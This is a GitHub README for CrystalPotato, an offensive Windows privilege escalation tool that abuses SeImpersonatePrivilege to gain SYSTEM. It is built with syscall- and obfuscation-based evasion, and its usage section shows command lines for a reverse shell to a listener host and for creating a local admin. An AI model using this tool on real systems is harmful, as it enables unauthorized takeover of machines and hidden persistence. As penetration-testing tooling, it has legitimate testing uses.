Skip to content

About

Crystal port of GodPotato to abuse SeImpersonatePrivilege with indirect syscalls, dynamic API resolution and compile-time string obfuscation. Run commands, reverse shells or add users

Topics

Resources

Stars

126 stars

Watchers

1 watching

Forks

Latest commit

 

History

15 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

CrystalPotato

Crystal port of GodPotato, a local privilege escalation from accounts with SeImpersonatePrivilege to SYSTEM. It works by abusing the DCOM OXID Resolver and named pipe impersonation.

Windows APIs are resolved dynamically and invoked through indirect syscall stubs, all strings are XOR-obfuscated at compile time and by default only the command output is printed. Tested on Windows 10, 11 and Server 2025.

CrystalPotato

Build

CrystalPotato compiles to a single file with no dependencies using Crystal on Windows:

crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static

Usage

Execute a command, start a reverse shell, or create a local admin.

CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>
Flag Description
-c CMD Command to execute as SYSTEM or shell for reverse shell (default: cmd.exe)
-H HOST Reverse shell listener Host
-P PORT Reverse shell listener Port
-u USER Create local admin - Username
-pw PASS Create local admin - Password
-p NAME Custom pipe name (default: Crystal)
-d Debug output
-dd Full trace
-h Show help

img2

Sources

About

Crystal port of GodPotato to abuse SeImpersonatePrivilege with indirect syscalls, dynamic API resolution and compile-time string obfuscation. Run commands, reverse shells or add users

Topics

Resources

Stars

126 stars

Watchers

1 watching

Forks

Releases

Contributors

Languages